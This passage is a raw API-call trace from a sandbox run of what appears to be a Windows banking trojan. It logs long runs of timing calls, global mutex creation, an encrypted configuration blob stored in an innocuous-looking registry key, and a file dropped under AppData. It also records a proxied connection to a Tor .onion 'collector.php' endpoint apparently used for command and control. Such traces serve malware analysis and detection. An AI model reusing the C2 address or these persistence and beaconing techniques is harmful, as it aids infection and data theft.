() returned 0x23928 [0114.643] GetTickCount () returned 0x23928 [0114.643] GetTickCount () returned 0x23928 [0114.643] GetTickCount () returned 0x23928 [0114.643] GetTickCount () returned 0x23928 [0114.643] GetTickCount () returned 0x23928 [0114.643] GetTickCount () returned 0x23928 [0114.643] GetTickCount () returned 0x23928 [0114.643] GetTickCount () returned 0x23928 [0114.643] GetTickCount () returned 0x23928 [0114.643] GetTickCount () returned 0x23928 [0114.643] GetTickCount () returned 0x23928 [0114.643] GetTickCount () returned 0x23928 [0114.643] GetTickCount () returned 0x23928 [0114.643] GetTickCount () returned 0x23928 [0114.643] GetTickCount () returned 0x23928 [0114.643] GetTickCount () returned 0x23928 [0114.643] GetTickCount () returned 0x23928 [0114.643] GetTickCount () returned 0x23928 [0114.643] GetTickCount () returned 0x23928 [0114.643] GetTickCount () returned 0x23928 [0114.643] GetTickCount () returned 0x23928 [0114.643] GetTickCount () returned 0x23928 [0114.643] GetTickCount () returned 0x23928 [0114.643] GetTickCount () returned 0x23928 [0114.643] GetTickCount () returned 0x23928 [0114.644] GetTickCount () returned 0x23928 [0114.644] GetTickCount () returned 0x23928 [0114.644] GetTickCount () returned 0x23928 [0114.644] GetTickCount () returned 0x23928 [0114.644] GetTickCount () returned 0x23928 [0114.644] GetTickCount () returned 0x23928 [0114.644] GetTickCount () returned 0x23928 [0114.644] GetTickCount () returned 0x23928 [0114.644] GetTickCount () returned 0x23928 [0114.644] GetTickCount () returned 0x23928 [0114.644] GetTickCount () returned 0x23928 [0114.644] GetTickCount () returned 0x23928 [0114.644] GetTickCount () returned 0x23928 [0114.644] GetTickCount () returned 0x23928 [0114.644] GetTickCount () returned 0x23928 [0114.644] GetTickCount () returned 0x23928 [0114.644] GetTickCount () returned 0x23928 [0114.644] GetTickCount () returned 0x23928 [0114.644] GetTickCount () returned 0x23928 [0114.644] GetTickCount () returned 0x23928 [0114.644] GetTickCount () returned 0x23928 [0114.644] GetTickCount () returned 0x23928 [0114.644] GetTickCount () returned 0x23928 [0114.644] GetTickCount () returned 0x23928 [0114.644] GetTickCount () returned 0x23928 [0114.644] GetTickCount () returned 0x23928 [0114.644] GetTickCount () returned 0x23928 [0114.644] GetTickCount () returned 0x23928 [0114.644] GetTickCount () returned 0x23928 [0114.644] GetTickCount () returned 0x23928 [0114.644] GetTickCount () returned 0x23928 [0114.644] GetTickCount () returned 0x23928 [0114.644] GetTickCount () returned 0x23928 [0114.644] GetTickCount () returned 0x23928 [0114.644] GetTickCount () returned 0x23928 [0114.644] GetTickCount () returned 0x23928 [0114.644] GetTickCount () returned 0x23928 [0114.644] GetTickCount () returned 0x23928 [0114.644] GetTickCount () returned 0x23928 [0114.644] GetTickCount () returned 0x23928 [0114.644] GetTickCount () returned 0x23928 [0114.644] GetTickCount () returned 0x23928 [0114.644] GetTickCount () returned 0x23928 [0114.644] GetTickCount () returned 0x23928 [0114.644] GetTickCount () returned 0x23928 [0114.644] GetTickCount () returned 0x23928 [0114.644] GetTickCount () returned 0x23928 [0114.644] GetTickCount () returned 0x23928 [0114.644] GetTickCount () returned 0x23928 [0114.644] GetTickCount () returned 0x23928 [0114.644] GetTickCount () returned 0x23928 [0114.644] GetTickCount () returned 0x23928 [0114.644] GetTickCount () returned 0x23928 [0114.644] GetTickCount () returned 0x23928 [0114.644] GetTickCount () returned 0x23928 [0114.644] GetTickCount () returned 0x23928 [0114.644] GetTickCount () returned 0x23928 [0114.644] GetTickCount () returned 0x23928 [0114.644] GetTickCount () returned 0x23928 [0114.644] GetTickCount () returned 0x23928 [0114.644] GetTickCount () returned 0x23928 [0114.644] GetTickCount () returned 0x23928 [0114.644] GetTickCount () returned 0x23928 [0114.644] GetTickCount () returned 0x23928 [0114.644] GetTickCount () returned 0x23928 [0114.644] GetTickCount () returned 0x23928 [0114.644] GetTickCount () returned 0x23928 [0114.644] GetTickCount () returned 0x23928 [0114.644] GetTickCount () returned 0x23928 [0114.644] GetTickCount () returned 0x23928 [0114.645] GetTickCount () returned 0x23928 [0114.645] GetTickCount () returned 0x23928 [0114.645] GetTickCount () returned 0x23928 [0114.645] GetTickCount () returned 0x23928 [0114.645] GetTickCount () returned 0x23928 [0114.645] GetTickCount () returned 0x23928 [0114.645] GetTickCount () returned 0x23928 [0114.645] GetTickCount () returned 0x23928 [0114.645] GetTickCount () returned 0x23928 [0114.645] GetTickCount () returned 0x23928 [0114.645] GetTickCount () returned 0x23928 [0114.645] GetTickCount () returned 0x23928 [0114.645] GetTickCount () returned 0x23928 [0114.645] GetTickCount () returned 0x23928 [0114.645] GetTickCount () returned 0x23928 [0114.645] GetTickCount () returned 0x23928 [0114.645] GetTickCount () returned 0x23928 [0114.645] GetTickCount () returned 0x23928 [0114.645] GetTickCount () returned 0x23928 [0114.645] GetTickCount () returned 0x23928 [0114.645] GetTickCount () returned 0x23928 [0114.645] GetTickCount () returned 0x23928 [0114.645] GetTickCount () returned 0x23928 [0114.645] GetTickCount () returned 0x23928 [0114.645] GetTickCount () returned 0x23928 [0114.645] GetTickCount () returned 0x23928 [0114.645] GetTickCount () returned 0x23928 [0114.645] GetTickCount () returned 0x23928 [0114.645] GetTickCount () returned 0x23928 [0114.645] GetTickCount () returned 0x23928 [0114.645] GetTickCount () returned 0x23928 [0114.645] GetTickCount () returned 0x23928 [0114.645] GetTickCount () returned 0x23928 [0114.645] GetTickCount () returned 0x23928 [0114.645] GetTickCount () returned 0x23928 [0114.645] GetTickCount () returned 0x23928 [0114.645] GetTickCount () returned 0x23928 [0114.645] GetTickCount () returned 0x23928 [0114.645] GetTickCount () returned 0x23928 [0114.645] GetTickCount () returned 0x23928 [0114.645] GetTickCount () returned 0x23928 [0114.645] GetTickCount () returned 0x23928 [0114.645] GetTickCount () returned 0x23928 [0114.645] GetTickCount () returned 0x23928 [0114.645] GetTickCount () returned 0x23928 [0114.645] GetTickCount () returned 0x23928 [0114.645] GetTickCount () returned 0x23928 [0114.645] GetTickCount () returned 0x23928 [0114.645] GetTickCount () returned 0x23928 [0114.645] GetTickCount () returned 0x23928 [0114.645] GetTickCount () returned 0x23928 [0114.645] GetTickCount () returned 0x23928 [0114.645] CryptAcquireContextW (in: phProv=0x24fecb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x24fecb4*=0x892488) returned 1 [0114.646] CryptCreateHash (in: hProv=0x892488, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x24fecb0 | out: phHash=0x24fecb0) returned 1 [0114.646] CryptHashData (hHash=0x85b1a0, pbData=0x8b99f8, dwDataLen=0x7f0, dwFlags=0x0) returned 1 [0114.646] CryptGetHashParam (in: hHash=0x85b1a0, dwParam=0x2, pbData=0x8b99e8, pdwDataLen=0x24fecac, dwFlags=0x0 | out: pbData=0x8b99e8, pdwDataLen=0x24fecac) returned 1 [0114.646] CryptDestroyHash (hHash=0x85b1a0) returned 1 [0114.646] CryptReleaseContext (hProv=0x892488, dwFlags=0x0) returned 1 [0114.646] inet_addr (cp="127.0.0.1") returned 0x100007f [0114.646] htons (hostshort=0x235a) returned 0x5a23 [0114.646] socket (af=2, type=1, protocol=6) returned 0x434 [0114.646] connect (s=0x434, name=0x24fee20*(sa_family=2, sin_port=0x235a, sin_addr="127.0.0.1"), namelen=16) returned 0 [0115.729] send (in: s=0x434, buf=0x2d4558*, len=3, flags=0 | out: buf=0x2d4558*) returned 3 [0115.729] select (in: nfds=0, readfds=0x24eeae0, writefds=0x0, exceptfds=0x0, timeout=0x24eebe8 | out: readfds=0x24eeae0, writefds=0x0, exceptfds=0x0) returned 1 [0116.249] recv (in: s=0x434, buf=0x24eee21, len=1024, flags=0 | out: buf=0x24eee21*) returned 2 [0116.249] send (in: s=0x434, buf=0x24eee18*, len=4, flags=0 | out: buf=0x24eee18*) returned 4 [0116.249] InternetCrackUrlA (in: lpszUrl="http://onnsxtg3rs6qpc43.onion/collector.php", dwUrlLength=0x0, dwFlags=0x0, lpUrlComponents=0x24eeb90 | out: lpUrlComponents=0x24eeb90) returned 1 [0116.249] send (in: s=0x434, buf=0x24eee07*, len=1, flags=0 | out: buf=0x24eee07*) returned 1 [0116.249] send (in: s=0x434, buf=0x863be8*, len=22, flags=0 | out: buf=0x863be8*) returned 22 [0116.250] htons (hostshort=0x50) returned 0x5000 [0116.250] send (in: s=0x434, buf=0x24eee04*, len=2, flags=0 | out: buf=0x24eee04*) returned 2 [0116.250] select (in: nfds=0, readfds=0x24eeae0, writefds=0x0, exceptfds=0x0, timeout=0x24eebe8 | out: readfds=0x24eeae0, writefds=0x0, exceptfds=0x0) returned 0 [0126.274] shutdown (s=0x434, how=2) returned 0 [0126.274] closesocket (s=0x434) returned 0 [0126.274] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x2710) Thread: id = 162 os_tid = 0x41c [0112.119] StringFromGUID2 (in: rguid=0x49e698*(Data1=0xe4529d1f, Data2=0x2ef5, Data3=0x5e62, Data4=([0]=0x65, [1]=0xd9, [2]=0xfe, [3]=0x61, [4]=0xa0, [5]=0x41, [6]=0x77, [7]=0x68)), lpsz=0x49ee12, cchMax=40 | out: lpsz="{E4529D1F-2EF5-5E62-65D9-FE61A0417768}") returned 39 [0112.119] CreateMutexW (lpMutexAttributes=0x333fac, bInitialOwner=0, lpName="Global\\{E4529D1F-2EF5-5E62-65D9-FE61A0417768}") returned 0x170 [0112.119] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0xffffffff) returned 0x0 [0112.119] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0112.221] GetTickCount () returned 0x22fb6 [0112.221] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x49ed7c, cbMultiByte=15, lpWideCharStr=0x49edc0, cchWideChar=50 | out: lpWideCharStr="Teetfo\\ugav.ocv") returned 15 [0112.221] PathCombineW (in: pszDest=0x3338e4, pszDir="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming", pszFile="Teetfo\\ugav.ocv" | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Teetfo\\ugav.ocv") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Teetfo\\ugav.ocv" [0112.221] PathRemoveFileSpecW (in: pszPath="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Teetfo\\ugav.ocv" | out: pszPath="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Teetfo") returned 1 [0112.221] PathRenameExtensionW (in: pszPath="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Teetfo\\ugav.ocv", pszExt=".tmp" | out: pszPath="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Teetfo\\ugav.tmp") returned 1 [0112.221] GetFileAttributesW (lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Teetfo\\ugav.tmp" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\teetfo\\ugav.tmp")) returned 0xffffffff [0112.269] GetFileAttributesW (lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Teetfo\\ugav.ocv" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\teetfo\\ugav.ocv")) returned 0x2020 [0112.269] CreateFileW (lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Teetfo\\ugav.ocv" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\teetfo\\ugav.ocv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0112.269] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x49ee20 | out: lpFileSize=0x49ee20*=0) returned 1 [0112.270] CloseHandle (hObject=0x1c0) returned 1 [0112.270] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x33224) Thread: id = 163 os_tid = 0x440 Thread: id = 164 os_tid = 0x910 Thread: id = 165 os_tid = 0x8c0 Thread: id = 166 os_tid = 0x9d4 Thread: id = 170 os_tid = 0x8b8 Thread: id = 171 os_tid = 0x8c8 Thread: id = 174 os_tid = 0x9e8 [0115.744] StringFromGUID2 (in: rguid=0x2ccf5e0*(Data1=0x1f05fc9e, Data2=0x4f74, Data3=0xa535, Data4=([0]=0x65, [1]=0xd9, [2]=0xfe, [3]=0x61, [4]=0xa0, [5]=0x41, [6]=0x77, [7]=0x68)), lpsz=0x2ccfd5a, cchMax=40 | out: lpsz="{1F05FC9E-4F74-A535-65D9-FE61A0417768}") returned 39 [0115.744] CreateMutexW (lpMutexAttributes=0x333fac, bInitialOwner=0, lpName="Global\\{1F05FC9E-4F74-A535-65D9-FE61A0417768}") returned 0x314 [0115.745] WaitForSingleObject (hHandle=0x314, dwMilliseconds=0xffffffff) returned 0x0 [0115.745] ReleaseMutex (hMutex=0x314) returned 1 [0115.745] CloseHandle (hObject=0x314) returned 1 Thread: id = 175 os_tid = 0xa04 [0115.792] StringFromGUID2 (in: rguid=0x2a7f060*(Data1=0x6e93744f, Data2=0xc7a5, Data3=0xd4a3, Data4=([0]=0x65, [1]=0xd9, [2]=0xfe, [3]=0x61, [4]=0xa0, [5]=0x41, [6]=0x77, [7]=0x68)), lpsz=0x2a7f7da, cchMax=40 | out: lpsz="{6E93744F-C7A5-D4A3-65D9-FE61A0417768}") returned 39 [0115.792] CreateMutexW (lpMutexAttributes=0x333fac, bInitialOwner=0, lpName="Global\\{6E93744F-C7A5-D4A3-65D9-FE61A0417768}") returned 0x314 [0115.792] WaitForSingleObject (hHandle=0x314, dwMilliseconds=0x1) returned 0x0 [0115.792] CreateMutexW (lpMutexAttributes=0x333fac, bInitialOwner=0, lpName="Global\\{8E6A7E3D-CDD7-345A-65D9-FE61A0417768}") returned 0x1ac [0115.792] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0xffffffff) returned 0x0 [0115.792] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Seto", ulOptions=0x0, samDesired=0x1, phkResult=0x2a7ec64 | out: phkResult=0x2a7ec64*=0x430) returned 0x0 [0115.792] RegQueryValueExW (in: hKey=0x430, lpValueName="Yqlozyzuz", lpReserved=0x0, lpType=0x2a7ef30, lpData=0x0, lpcbData=0x2a7ec60*=0x0 | out: lpType=0x2a7ef30*=0x3, lpData=0x0, lpcbData=0x2a7ec60*=0x1c4c) returned 0x0 [0115.792] RegQueryValueExW (in: hKey=0x430, lpValueName="Yqlozyzuz", lpReserved=0x0, lpType=0x2a7ef30, lpData=0x8cf6c8, lpcbData=0x2a7ec60*=0x1c4c | out: lpType=0x2a7ef30*=0x3, lpData=0x8cf6c8*, lpcbData=0x2a7ec60*=0x1c4c) returned 0x0 [0115.792] RegCloseKey (hKey=0x430) returned 0x0 [0115.792] CryptAcquireContextW (in: phProv=0x2a7eae0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x2a7eae0*=0x892840) returned 1 [0115.793] CryptCreateHash (in: hProv=0x892840, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x2a7eadc | out: phHash=0x2a7eadc) returned 1 [0115.793] CryptHashData (hHash=0x85b1a0, pbData=0x8cf6f8, dwDataLen=0x1c1c, dwFlags=0x0) returned 1 [0115.793] CryptGetHashParam (in: hHash=0x85b1a0, dwParam=0x2, pbData=0x2a7eb08, pdwDataLen=0x2a7ead8, dwFlags=0x0 | out: pbData=0x2a7eb08, pdwDataLen=0x2a7ead8) returned 1 [0115.793] CryptDestroyHash (hHash=0x85b1a0) returned 1 [0115.793] CryptReleaseContext (hProv=0x892840, dwFlags=0x0) returned 1 [0115.793] GetTickCount () returned 0x23dab [0115.793] GetTickCount () returned 0x23dab [0115.793] GetTickCount () returned 0x23dab [0115.793] GetTickCount () returned 0x23dab [0115.793] GetTickCount () returned 0x23dab [0115.793] GetTickCount () returned 0x23dab [0115.793] GetTickCount () returned 0x23dab [0115.793] GetTickCount () returned 0x23dab [0115.793] GetTickCount () returned 0x23dab [0115.793] GetTickCount () returned 0x23dab [0115.793] GetTickCount () returned 0x23dab [0115.793] GetTickCount () returned 0x23dab [0115.793] GetTickCount () returned 0x23dab [0115.793] GetTickCount () returned 0x23dab [0115.793] GetTickCount () returned 0x23dab [0115.793] GetTickCount () returned 0x23dab [0115.793] GetTickCount () returned 0x23dab [0115.793] GetTickCount () returned 0x23dab [0115.793] GetTickCount () returned 0x23dab [0115.793] GetTickCount () returned 0x23dab [0115.793] GetTickCount () returned 0x23dab [0115.793] GetTickCount () returned 0x23dab [0115.793] GetTickCount () returned 0x23dab [0115.793] GetTickCount () returned 0x23dab [0115.793] GetTickCount () returned 0x23dab [0115.793] GetTickCount () returned 0x23dab [0115.793] GetTickCount () returned 0x23dab [0115.793] GetTickCount () returned 0x23dab [0115.793] GetTickCount () returned 0x23dab [0115.793] GetTickCount () returned 0x23dab [0115.793] GetTickCount () returned 0x23dab [0115.793] GetTickCount () returned 0x23dab [0115.793] GetTickCount () returned 0x23dab [0115.793] GetTickCount () returned 0x23dab [0115.793] GetTickCount () returned 0x23dab [0115.793] GetTickCount () returned 0x23dab [0115.793] GetTickCount () returned 0x23dab [0115.793] GetTickCount () returned 0x23dab [0115.793] GetTickCount () returned 0x23dab [0115.793] GetTickCount () returned 0x23dab [0115.793] GetTickCount () returned 0x23dab [0115.793] GetTickCount () returned 0x23dab [0115.794] GetTickCount () returned 0x23dab [0115.794] GetTickCount () returned 0x23dab [0115.794] GetTickCount () returned 0x23dab [0115.794] GetTickCount () returned 0x23dab [0115.794] GetTickCount () returned 0x23dab [0115.794] GetTickCount () returned 0x23dab [0115.794] GetTickCount () returned 0x23dab [0115.794] GetTickCount () returned 0x23dab [0115.794] GetTickCount () returned 0x23dab [0115.794] GetTickCount () returned 0x23dab [0115.794] GetTickCount () returned 0x23dab [0115.794] GetTickCount () returned 0x23dab [0115.794] GetTickCount () returned 0x23dab [0115.794] GetTickCount () returned 0x23dab [0115.794] GetTickCount () returned 0x23dab [0115.794] GetTickCount () returned 0x23dab [0115.794] GetTickCount () returned 0x23dab [0115.794] GetTickCount () returned 0x23dab [0115.794] GetTickCount () returned 0x23dab [0115.794] GetTickCount () returned 0x23dab [0115.794] GetTickCount () returned 0x23dab [0115.794] GetTickCount () returned 0x23dab [0115.794] GetTickCount () returned 0x23dab [0115.794] GetTickCount () returned 0x23dab [0115.794] GetTickCount () returned 0x23dab [0115.794] GetTickCount () returned 0x23dab [0115.794] GetTickCount () returned 0x23dab [0115.794] GetTickCount () returned 0x23dab [0115.794] GetTickCount () returned 0x23dab [0115.794] GetTickCount () returned 0x23dab [0115.794] GetTickCount () returned 0x23dab [0115.794] GetTickCount () returned 0x23dab [0115.794] GetTickCount () returned 0x23dab [0115.794] GetTickCount () returned 0x23dab [0115.794] GetTickCount () returned 0x23dab [0115.794] GetTickCount () returned 0x23dab [0115.794] GetTickCount () returned 0x23dab [0115.794] GetTickCount () returned 0x23dab [0115.794] GetTickCount () returned 0x23dab [0115.794] GetTickCount () returned 0x23dab [0115.794] GetTickCount () returned 0x23dab [0115.794] GetTickCount () returned 0x23dab [0115.794] GetTickCount () returned 0x23dab [0115.794] GetTickCount () returned 0x23dab [0115.794] GetTickCount () returned 0x23dab [0115.794] GetTickCount () returned 0x23dab [0115.794] GetTickCount () returned 0x23dab [0115.794] GetTickCount () returned 0x23dab [0115.794] GetTickCount () returned 0x23dab [0115.794] GetTickCount () returned 0x23dab [0115.794] GetTickCount () returned 0x23dab [0115.794] GetTickCount () returned 0x23dab [0115.794] GetTickCount () returned 0x23dab [0115.794] GetTickCount () returned 0x23dab [0115.794] GetTickCount () returned 0x23dab [0115.794] GetTickCount () returned 0x23dab [0115.794] GetTickCount () returned 0x23dab [0115.794] GetTickCount () returned 0x23dab [0115.794] GetTickCount () returned 0x23dab [0115.794] GetTickCount () returned 0x23dab [0115.794] GetTickCount () returned 0x23dab [0115.794] GetTickCount () returned 0x23dab [0115.794] GetTickCount () returned 0x23dab [0115.794] GetTickCount () returned 0x23dab [0115.794] GetTickCount () returned 0x23dab [0115.794] GetTickCount () returned 0x23dab [0115.794] GetTickCount () returned 0x23dab [0115.794] GetTickCount () returned 0x23dab [0115.794] GetTickCount () returned 0x23dab [0115.794] GetTickCount () returned 0x23dab [0115.794] GetTickCount () returned 0x23dab [0115.794] GetTickCount () returned 0x23dab [0115.794] GetTickCount () returned 0x23dab [0115.794] GetTickCount () returned 0x23dab [0115.794] GetTickCount () returned 0x23dab [0115.795] GetTickCount () returned 0x23dab [0115.795] GetTickCount () returned 0x23dab [0115.795] GetTickCount () returned 0x23dab [0115.795] GetTickCount () returned 0x23dab [0115.795] GetTickCount () returned 0x23dab [0115.795] GetTickCount () returned 0x23dab [0115.795] GetTickCount () returned 0x23dab [0115.795] GetTickCount () returned 0x23dab [0115.795] GetTickCount () returned 0x23dab [0115.795] GetTickCount () returned 0x23dab [0115.795] GetTickCount () returned 0x23dab [0115.795] GetTickCount () returned 0x23dab [0115.795] GetTickCount () returned 0x23dab [0115.795] GetTickCount () returned 0x23dab [0115.795] GetTickCount () returned 0x23dab [0115.795] GetTickCount () returned 0x23dab [0115.795] GetTickCount () returned 0x23dab [0115.795] GetTickCount () returned 0x23dab [0115.795] GetTickCount () returned 0x23dab [0115.795] GetTickCount () returned 0x23dab [0115.795] GetTickCount () returned 0x23dab [0115.795] GetTickCount () returned 0x23dab [0115.795] GetTickCount () returned 0x23dab [0115.795] GetTickCount () returned 0x23dab [0115.795] GetTickCount () returned 0x23dab [0115.795] GetTickCount () returned 0x23dab [0115.795] GetTickCount () returned 0x23dab [0115.795] GetTickCount () returned 0x23dab [0115.795] GetTickCount () returned 0x23dab [0115.795] GetTickCount () returned 0x23dab [0115.795] GetTickCount () returned 0x23dab [0115.795] GetTickCount () returned 0x23dab [0115.795] GetTickCount () returned 0x23dab [0115.795] GetTickCount () returned 0x23dab [0115.795] GetTickCount () returned 0x23dab [0115.795] GetTickCount () returned 0x23dab [0115.795] GetTickCount () returned 0x23dab [0115.795] GetTickCount () returned 0x23dab [0115.795] GetTickCount () returned 0x23dab [0115.795] GetTickCount () returned 0x23dab [0115.795] GetTickCount () returned 0x23dab [0115.795] GetTickCount () returned 0x23dab [0115.795] GetTickCount () returned 0x23dab [0115.795] GetTickCount () returned 0x23dab [0115.795] GetTickCount () returned 0x23dab [0115.795] GetTickCount () returned 0x23dab [0115.795] GetTickCount () returned 0x23dab [0115.795] GetTickCount () returned 0x23dab [0115.795] GetTickCount () returned 0x23dab [0115.795] GetTickCount () returned 0x23dab [0115.795] GetTickCount () returned 0x23dab [0115.795] GetTickCount () returned 0x23dab [0115.795] GetTickCount () returned 0x23dab [0115.795] GetTickCount () returned 0x23dab [0115.795] GetTickCount () returned 0x23dab [0115.795] GetTickCount () returned 0x23dab [0115.795] GetTickCount () returned 0x23dab [0115.795] GetTickCount () returned 0x23dab [0115.795] GetTickCount () returned 0x23dab [0115.795] GetTickCount () returned 0x23dab [0115.795] GetTickCount () returned 0x23dab [0115.795] GetTickCount () returned 0x23dab [0115.795] GetTickCount () returned 0x23dab [0115.795] GetTickCount () returned 0x23dab [0115.795] GetTickCount () returned 0x23dab [0115.795] GetTickCount () returned 0x23dab [0115.795] GetTickCount () returned 0x23dab [0115.795] GetTickCount () returned 0x23dab [0115.795] GetTickCount () returned 0x23dab [0115.795] GetTickCount () returned 0x23dab [0115.795] GetTickCount () returned 0x23dab [0115.795] GetTickCount () returned 0x23dab [0115.795] GetTickCount () returned 0x23dab [0115.795] GetTickCount () returned 0x23dab [0115.795] GetTickCount () returned 0x23dab [0115.796] GetTickCount () returned 0x23dab [0115.796] GetTickCount () returned 0x23dab [0115.796] GetTickCount () returned 0x23dab [0115.796] GetTickCount () returned 0x23dab [0115.796] GetTickCount () returned 0x23dab [0115.796] GetTickCount () returned 0x23dab [0115.796] GetTickCount () returned 0x23dab [0115.796] GetTickCount () returned 0x23dab [0115.796] GetTickCount () returned 0x23dab [0115.796] GetTickCount () returned 0x23dab [0115.796] GetTickCount () returned 0x23dab [0115.796] GetTickCount () returned 0x23dab [0115.796] GetTickCount () returned 0x23dab [0115.796] GetTickCount () returned 0x23dab [0115.796] GetTickCount () returned 0x23dab [0115.796] GetTickCount () returned 0x23dab [0115.796] GetTickCount () returned 0x23dab [0115.796] GetTickCount () returned 0x23dab [0115.796] GetTickCount () returned 0x23dab [0115.796] GetTickCount () returned 0x23dab [0115.796] GetTickCount () returned 0x23dab [0115.796] GetTickCount () returned 0x23dab [0115.796] GetTickCount () returned 0x23dab [0115.796] GetTickCount () returned 0x23dab [0115.796] GetTickCount () returned 0x23dab [0115.796] GetTickCount () returned 0x23dab [0115.796] GetTickCount () returned 0x23dab [0115.796] GetTickCount () returned 0x23dab [0115.796] GetTickCount () returned 0x23dab [0115.796] GetTickCount () returned 0x23dab [0115.796] GetTickCount () returned 0x23dab [0115.796] GetTickCount () returned 0x23dab [0115.796] GetTickCount () returned 0x23dab [0115.796] GetTickCount () returned 0x23dab [0115.796] GetTickCount () returned 0x23dab [0115.796] GetTickCount () returned 0x23dab [0115.796] GetTickCount () returned 0x23dab [0115.796] GetTickCount () returned 0x23dab [0115.796] GetTickCount () returned 0x23dab [0115.796] GetTickCount () returned 0x23dab [0115.796] GetTickCount () returned 0x23dab [0115.796] GetTickCount () returned 0x23dab [0115.796] GetTickCount () returned 0x23dab [0115.796] GetTickCount () returned 0x23dab [0115.796] GetTickCount () returned 0x23dab [0115.796] GetTickCount () returned 0x23dab [0115.796] GetTickCount () returned 0x23dab [0115.796] GetTickCount () returned 0x23dab [0115.796] GetTickCount () returned 0x23dab [0115.796] GetTickCount () returned 0x23dab [0115.796] GetTickCount () returned 0x23dab [0115.796] GetTickCount () returned 0x23dab [0115.796] GetTickCount () returned 0x23dab [0115.796] GetTickCount () returned 0x23dab [0115.796] GetTickCount () returned 0x23dab [0115.796] GetTickCount () returned 0x23dab [0115.796] GetTickCount () returned 0x23dab [0115.796] CryptAcquireContextW (in: phProv=0x2a7eadc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x2a7eadc*=0x892840) returned 1 [0115.797] CryptCreateHash (in: hProv=0x892840, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x2a7ead8 | out: phHash=0x2a7ead8) returned 1 [0115.797] CryptHashData (hHash=0x85b1a0, pbData=0x8d9358, dwDataLen=0x1b5f, dwFlags=0x0) returned 1 [0115.797] CryptGetHashParam (in: hHash=0x85b1a0, dwParam=0x2, pbData=0x8d9348, pdwDataLen=0x2a7ead4, dwFlags=0x0 | out: pbData=0x8d9348, pdwDataLen=0x2a7ead4) returned 1 [0115.797] CryptDestroyHash (hHash=0x85b1a0) returned 1 [0115.797] CryptReleaseContext (hProv=0x892840, dwFlags=0x0) returned 1 [0115.797] RegCreateKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Seto", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x2a7ec94, lpdwDisposition=0x0 | out: phkResult=0x2a7ec94*=0x430, lpdwDisposition=0x0) returned 0x0 [0115.797] RegSetValueExW (in: hKey=0x430, lpValueName="Yqlozyzuz", Reserved=0x0, dwType=0x3, lpData=0x8d9328*, cbData=0x1b8f | out: lpData=0x8d9328*) returned 0x0 [0115.797] RegCloseKey (hKey=0x430) returned 0x0 [0115.798] ReleaseMutex (hMutex=0x1ac) returned 1 [0115.798] CloseHandle (hObject=0x1ac) returned 1 [0115.798] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AUFDDCNTXWT_1F3D59E9E9AEECF6", cchWideChar=28, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 28 [0115.798] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AUFDDCNTXWT_1F3D59E9E9AEECF6", cchWideChar=28, lpMultiByteStr=0x862438, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUFDDCNTXWT_1F3D59E9E9AEECF6", lpUsedDefaultChar=0x0) returned 28 [0115.798] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2a7ed50, cbMultiByte=2, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 2 [0115.798] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2a7ed50, cbMultiByte=2, lpWideCharStr=0x84d358, cchWideChar=3 | out: lpWideCharStr="18") returned 2 [0115.798] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="18", cchWideChar=2, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2 [0115.798] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="18", cchWideChar=2, lpMultiByteStr=0x899a58, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="18", lpUsedDefaultChar=0x0) returned 2 [0115.799] GetTickCount () returned 0x23dab [0115.799] GetTickCount () returned 0x23dab [0115.799] GetTickCount () returned 0x23dab [0115.799] GetTickCount () returned 0x23dab [0115.799] GetTickCount () returned 